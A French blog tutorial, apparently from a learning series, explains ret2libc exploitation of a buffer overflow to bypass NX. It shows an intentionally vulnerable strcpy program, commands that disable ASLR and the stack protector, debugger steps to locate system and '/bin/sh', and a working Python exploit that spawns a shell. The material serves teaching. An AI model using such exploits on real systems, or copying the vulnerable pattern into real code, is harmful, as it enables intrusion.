Dans un précédant article, j’était passé en vitesse sur le ROP. Revenons un peu sur nos pas pour expliquer certaines techniques en détail. Aujourd’hui ret2libc !
Nous avons vu les techniques de bases pour exploiter un buffer overflow bien évidement, trouver ce genre de binaire est devenu de plus en plus compliqué. Dans cet exemple de lab, nous avions retiré toute les protections afin de faciliter notre apprentissage. Il est temps de les remettre en place. Commençons par NX.
NX/DEP
La prévention de l’exécution des données (Data Execution Prevention, DEP) est un dispositif de sécurité intégré à de nombreux systèmes d’exploitation modernes tels Linux, Mac OS X, iOS, Microsoft Windows et Android. Il est destiné à empêcher l’exécution de code depuis des blocs de mémoire censés contenir des données afin d’affaiblir les probabilités de réussite d’une attaque de type dépassement de tampon.
-Wikipedia
Tout est dit, avec cette protection le traditionnel shellcode que nous placions dans la stack ne peux plus s’exécuter. Par contre cela ne modifie en rien la manipulation d’EIP !
Prenons un binaire en exemple:
#include <stdio.h> #include <string.h> int main(int argc, char** argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%s\n",buffer); return 0; }
On peux d’ores et déjà reperer un problème, l’utilisation de strcpy.
Compilons de la manière suivante :
gcc vuln.c -o vuln -fno-stack-protector
On désactive encore l’ASLR :
sudo echo 0>/proc/sys/kernel/randomize_va_space
Dans peda on peux vérifier les protections actuelles sur le binaire grâce à la commande « checksec »:
On peux voir ici que seul NX protège ce binaire.
Exploit time !
Première étape, contrôler EIP.
Pour cela on utilise peda :
Nous devrons donc remplir notre buffer avec 32 bytes de donnés avant d’arriver à controler EIP.
Pour arriver à exploiter ce programme nous allons utiliser ses propres composants. On peux voir que la libc est référencé dans le binaire. Et meme si seul les fonctions strcpy et puts (printf ) sont utilisés la librairie entière est accessible.
Or dans la libc existe une fonction qui va nous être bien utile : system.
La technique que nous allons employer ici est appelé ret2libc.
La fonction system permet d’exécuter des commandes via le shell.
Elle prend 2 arguments :
- Une adresse de retour
- La commande à executer
Pour l’adresse de retour, pas de soucis à se faire, n’importe quelle valeur passera.Mais pour des soucis de propreté il est possible de référencer la fin du programme. La seule chose à trouver reste donc l’adresse de cette fonction.
Pour la commande à exécuter « /bin/sh »semble évident.
Mais comment trouver cette string ?
La véritable question, serait plutôt : « OU ? » et la réponse, dans la libc elle même.
Pour trouver nos 2 variables manquantes ( adresse de system et string « /bin/sh ») nous allons utiliser peda :
Tout d’abord on lance le programme en posant un breakpoint dès le départ. Ceci permet à la mémoire de se mettre en place.
Pour trouver l’adresse de system on utilise la fonction print :
On vois bien qu’on a à faire avec la fonction system de la libc.
Pour trouver l’adresse de « /bin/sh » on va chercher dans la mémoire avec searchmem:
Encore une fois on peux voir qu’on est dans la libc.
Nous avons donc maintenant tous les composants nécéssaires à l’exploitation de notre binaire. Il est temps d’écrire l’exploit associé :
import struct from subprocess import call system = 0xb7e56190 #l'adresse de system binsh = 0xb7f76a24 #l'adresse de /bin/sh args = "A"*32 #On remplis le buffer args += struct.pack('I',system) #On indique à EIP l'adresse de system args += struct.pack('I',0xdeadbeef) #L'adresse de retour args += struct.pack('I',binsh) #Le paramètre de la fonction system call(['./vuln',args])
Et voila, nous avons bypassé la protection NX grâce au ROP et à a technique ret2libc.
Il nous reste de nombreuses protections à bypasser, celles ci feront l’objet d’autres articles.
[…] des fonctions interessantes ( tel que system ) on peux appliquer la même méthode que pour le bypass de NX en utilisant les adresses de la […]